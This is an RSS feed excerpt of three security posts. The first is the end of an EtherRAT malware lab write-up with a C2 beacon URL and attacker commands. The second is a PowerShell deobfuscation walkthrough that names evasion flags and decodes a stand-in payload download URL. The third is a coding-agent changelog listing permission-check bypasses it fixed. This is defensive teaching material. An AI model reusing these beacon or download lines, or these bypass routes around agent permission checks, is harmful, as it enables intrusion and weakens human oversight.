lVZnZiaWhPWHVKaVArcWRNNnJLSUpVQVdrcGNQcUd6aXFETnBkZk1nR3dkUDdEVW1Xc2lrTFhrRThjWU5vRUtKWjFjUnNBaTBadW1DMVJiamZBcmt2a2Z3QnpMT3hocVM5TVBzdFM1WFBZODJYckNMcHRObjZaZWNvUUcyMWxsMGNkUlpDY0FHZ3kxUERneTNiVTZEdVNzdFE5QXBTRk5WNUhmRis2WERHVzlacysza0MzdW9Td2gvSVNnYk1UV3c3bmw3RkVZR2Z4Z3pKNjZITk9RbG5LV09zamsxeUYwL0NPcEZrcjhVdTBwS2M1S0hKSmhsTCtQczg2eWZMR2Qwc3pKK255cVViZTlLUGszM285VWVKaU1FdGFTYXBSWVBFQ2NUUUI5QVhhYjdBK1BSTFNvUmE5Ry9vbHVRWVVKNktIekZDdCtMNzgrUUVWZ29OVWI4QysxZlBMN0VXckhRU2JTc0tzcDNMOERQNFdOUDl5MktzMnl1MWhNQS8rSG9GK0RBd05BYzhJclBnNkJjZEVlNEhRbTRWR0dxaks5SlMyeFZTY2hQTnhxYXRZa3ZxdzNBd3gwZlR3NXordzYrUk9rRTlCZHAxajZKRWpUMi9jYklWZ0ZvT3dSbjBnanlkVXZMTVdwZzdBOXM4dzdnQXQrQkdtT3VqV3c0NUZkNkF6QUY0R05haGtPMll5Ti9BN3JFaWdUQ2dadi91RUhYeU9YM2s1Mmo5ZFBxVE4zK3kySk5PZGsxQXp4THZpMjd1RGRrVHEvOW5sY21IRGIvaTUrTUMwc1ZmU0FNR0NYcFdRODc0WEhZOExaZ3liU0x6STlnSHpwSjBMODJ2NlF5dHhXVldrU05rVy9jS1VwTGdiNTdEeHFnNGRHS2sydmJPRUxCR1k1YlNIU2x6R1RzeGk2Y2owbXFsUDU1cThuMk16NWVSYisxclRtQVNPUzVTVk1PWVJsZ1M2TW9ZdkRVSzY0UVNmWW9SSFFaZm1nMWxIT2dMaDEvaHgwVGlsQ3M3T0drREQ3c0ltVElIdWpGZ2ZsZFh4WW5nRWRoL0F0bXlwbWxjYktnVEZsbWlCL3ZkQ1lmN1JPMEk4eVhXQksyeU81bkRsNUJyVUsyTDRVRzZXZm5jejZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]></title>
<description><![CDATA[A full and detailed insight into CLI forensics, going into depth following a TryHackMe labSource: TechFusionFor incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a...]]></description>
<link>https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:48 +0200</pubDate>
<content:encoded><![CDATA[<p><em>A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*z2_rLeW29e_A1-URgEyBcw.jpeg"><figcaption>Source: TechFusion</figcaption></figure><p>For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?</p><p>I recommend you first walk through this article and afterwards complete the TryHackMe lab <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a>.</p><p>The core purpose of this tactical playbook is to provide you with a <strong>highly comprehensive, real-world analytical framework</strong> so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).</p><p><strong>Let’s cut the fluff and begin:</strong></p><p>In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9">TryHackMe’s foundational lab</a> featuring <strong>real-world PowerShell obfuscation</strong> strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its <strong>runtime behavior</strong> safely.</p><h3>📋 The Script Triage Checklist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fVQzacpYWWO-vFYN.jpg"><figcaption>Source: BitLyft</figcaption></figure><p>When you capture a suspicious script execution string from your <strong>SIEM</strong> (Security Information and Event Management) <strong>logs</strong>, proceed with these steps immediately:</p><ul><li><strong>Isolate and Copy Safely:</strong> Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.</li><li><strong>Identify the Execution Flags:</strong> Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.</li><li><strong>Locate Network Anchors:</strong> Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.</li><li><strong>Preserve Casing:</strong> Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.</li></ul><h3>Deep Dive: Stripping the Camouflage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*6nmJ8HdVrRHV92qrBTYjGQ.png"><figcaption><a href="https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812">https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812</a></figcaption></figure><p>Let’s look at an actual example of an <strong>obfuscated script layer</strong> captured directly from an initial access vector payload log.</p><blockquote><strong><em>What to look for in the image:</em></strong><em> Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this </em><strong><em>to bypass static string matching</em></strong><em> (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.</em></blockquote><h4>Layer 1: Undoing String Concatenation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0nXU-f5TINGOWU1Ce-ffw.png"><figcaption>GPT Images 2.0 generated photo</figcaption></figure><p>Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.</p><pre># Obfuscated string snippet<br>$a = "Down"; $b = "load"; $c = "String"<br>. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )</pre><p><strong>The Fix:</strong> You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:</p><pre># Safe evaluation technique<br>Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )<br># Output result: DownloadString</pre><h4>Layer 2: Demangling Character Shuffling</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m92GtATfKF2yD6KmfMs2HQ.png"><figcaption>GPT Images 2.0 generated image</figcaption></figure><p>Another popular mechanism involves using <strong>format strings</strong> to re-order components out of sequence at runtime:</p><pre>"{2}{0}{1}" -f 'Net.','WebClient','New-Object </pre><p>The -f operator acts as an indexing map. To decrypt it manually:</p><ul><li>Position {2} grabs the 3rd element: New-Object</li><li>Position {0} grabs the 1st element: Net.</li><li>Position {1} grabs the 2nd element: WebClient</li></ul><p>When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.</p><h4>Layer 3: Defeating Base64 and XOR Rings</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cEgUTPr8IvHXOAQhUBqjA.png"><figcaption>GPT Images 2.0 generated figure</figcaption></figure><p>The final boss of script obfuscation is almost always an <strong>encoded byte block</strong>. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).</p><p>To quickly unwrap these blocks without running the malicious code:</p><ul><li>Copy the raw payload block inside the command string.</li><li>Load the payload directly into <strong>CyberChef</strong> (the open-source utility for security operations).</li><li>Chain together the <strong>From Base64</strong> recipe followed by <strong>Decode Text (UTF-16LE)</strong>.</li></ul><pre>Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA<br>Output: http://malware.net/payload.exe</pre><p>By working backward through these layers, you quickly isolate the final <strong>Indicators of Compromise (IoCs) </strong>— such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.</p><h3>🧠 Strategic Takeaway</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnNGqsHcsh-4wOWfT3Lkag.jpeg"><figcaption>(yayy)</figcaption></figure><p>The <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a> analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.</p><blockquote>Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an <strong>obfuscated script pipeline</strong> will always reveal its true payload target under systematic scrutiny.</blockquote><p>By utilizing platforms like <strong>CyberChef</strong> to strip back multi-layered <strong>Base64 and XOR encoding architectures</strong> and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.</p><p>Go log into <strong>the TryHackMe room</strong>, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.</p><h3>📈 Master the Art of System Forensics &amp; Threat Intelligence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*SLfKdWyn-nVH4_for38UxQ.jpeg"><figcaption>The author</figcaption></figure><p>Generic security training <strong>completely collapses</strong> when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.</p><p>To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:</p><ul><li><strong>Follow Pop123 on Medium</strong> for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.</li><li><strong>Explore my Security and Machine Learning Projects on </strong><a href="https://github.com/pop123-ux"><strong>GitHub</strong></a></li><li><strong>Subscribe to direct email updates</strong> by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.</li></ul><p><em>Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!</em></p><p><strong>For collaborations and inquiries</strong>: alexandrupp55@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d96840b5b5ef" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics-d96840b5b5ef">Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
